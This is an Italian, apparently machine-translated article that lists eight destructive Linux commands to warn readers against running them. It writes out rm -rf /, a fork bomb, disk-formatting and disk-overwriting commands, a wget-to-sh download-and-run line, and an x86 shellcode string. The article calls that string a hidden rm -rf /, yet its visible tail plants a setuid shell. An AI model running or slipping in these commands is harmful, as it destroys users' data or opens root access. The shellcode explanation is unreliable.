I comandi del terminale su Linux sono piuttosto distruttivi, se esegui un comando distruggerà il tuo sistema. Linux non richiede conferma durante l'esecuzione di qualsiasi comando.
Imparare quali comandi non dovrebbero essere eseguiti su Linux aiuta a proteggere il tuo sistema quando lavori su Linux. Di seguito sono riportati 8 comandi mortali che non dovresti mai eseguire su Linux.
1. rm -rf / - cancella tutto
Il comando rm -rf / eliminerà tutto, inclusi i file sul disco rigido e i file sui dispositivi multimediali collegati al computer.
Per comprendere meglio questo comando, analizzatelo come segue:
- rm – Elimina i seguenti file.
- -rf – esegue rm (elimina tutti i file e le cartelle all'interno di una cartella specificata) ed elimina forzatamente tutti i file senza prima chiedertelo.
- / – Indica che rm (ad esempio rm) inizia nella directory principale, inclusi tutti i file sul tuo computer.
Linux seguirà felicemente questo comando ed eliminerà tutto senza avvisarti, quindi fai attenzione quando usi questo comando.
Inoltre il comando rm viene utilizzato anche in modi molto pericolosi. Ad esempio, rm –rf ~ eliminerà tutti i file nella cartella Home e rm -rf .* eliminerà tutti i file di configurazione.
2. Comando mascherato rm –rf /
Ecco uno snippet di codice in tutto il Web:
char esp[] __attribute__ ((section(".text"))) /* versione esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
Questa è essenzialmente un'altra versione di rm –rf / – l'esecuzione di questo comando eliminerà anche tutti i tuoi file, proprio come l'esecuzione di rm –rf /.
3. :(){ :|: & };: – Un tipo di blockbuster
La riga di comando seguente sembra molto semplice ma la sua funzione è in realtà molto pericolosa:
:(){ :|: & };:
Questo breve comando creerà nuove copie di se stesso. Cioè, il processo di backup stesso sarà continuo e causerà rapidamente il riempimento della CPU e della memoria.
Inoltre può causare il blocco del computer. Si tratta fondamentalmente di un attacco Denial of Service (DoS).
4. mkfs.ext4 /dev/sda1 – Formati del disco rigido
Il comando mkfs.ext4 /dev/sda1 è abbastanza facile da capire:
- mkfs.ext4: crea un file system ext4 sul seguente dispositivo.
- /dev/sda1 - identifica la prima partizione sul primo disco rigido, che potrebbe essere il disco rigido in uso.
Combinare questi due comandi equivale a formattare l'unità C: su Windows: elimina tutti i file sulla prima partizione e sostituiscili con il nuovo file system.
Questo comando può apparire in molti formati diversi, ad esempio: mkfs.ext3 /dev/sdb2 formatterà la seconda partizione sul secondo disco rigido con il file system ext3.
5. comando > /dev/sda - scrivi direttamente su un disco rigido
Riga di comando > /dev/sda: esegui un comando e invia il risultato di quel comando direttamente al tuo primo disco rigido, scrivendo i dati direttamente sul disco rigido e distruggendo il tuo file system.
- comando – Esegue un comando (può essere qualsiasi comando).
- > – invia l'output del comando alla seguente posizione.
- /dev/sda – Scrive l'output del comando direttamente sul dispositivo del disco rigido.
6. dd if=/dev/random of=/dev/sda – scrive dati stupidi sul disco rigido
La riga dd if=/dev/random of=/dev/sda cancellerà i dati su uno dei tuoi dischi rigidi.
- dd – consiste nell'eseguire una copia di basso livello da una posizione all'altra.
- if=/dev/random – Usa /dev/random come input – potresti vedere indirizzi come /dev/zero.
- of=/dev/sda – output sul primo disco rigido, sostituendo il file system con dati stupidi casuali.
7. mv ~ /dev/null – Sposta la tua directory Home in un buco nero
/dev/null - spostare qualcosa in /dev/null equivale a distruggerlo. Pensa a /dev/null come a un buco nero. mv ~ /dev/null invierà tutti i tuoi file personali in un buco nero.
- mv – sposta il seguente file o cartella in un'altra posizione.
- ~ – L'intera cartella Home.
- /dev/null – Sposta la tua cartella Home in /dev/null, distruggerà tutti i tuoi file ed eliminerà le copie originali.
8. wget http://example.com/qualcosa -O – | sh: carica ed esegui uno script
Il comando precedente scaricherà uno script dal Web e invierà lo script a sh, che eseguirà il contenuto dello script. Questo può essere pericoloso se non sei sicuro di cosa sia uno script o non disponi di una fonte di script attendibile: non eseguire script non attendibili.
wget – scarica un file.
http://example.com/something: scarica i file da questa posizione.
| – Invia tramite pipe l'output del comando wget (file della versione scaricata) direttamente a un altro comando.
sh – invia il file al comando sh.
Fare riferimento ad alcuni altri articoli di seguito:
Divertirsi!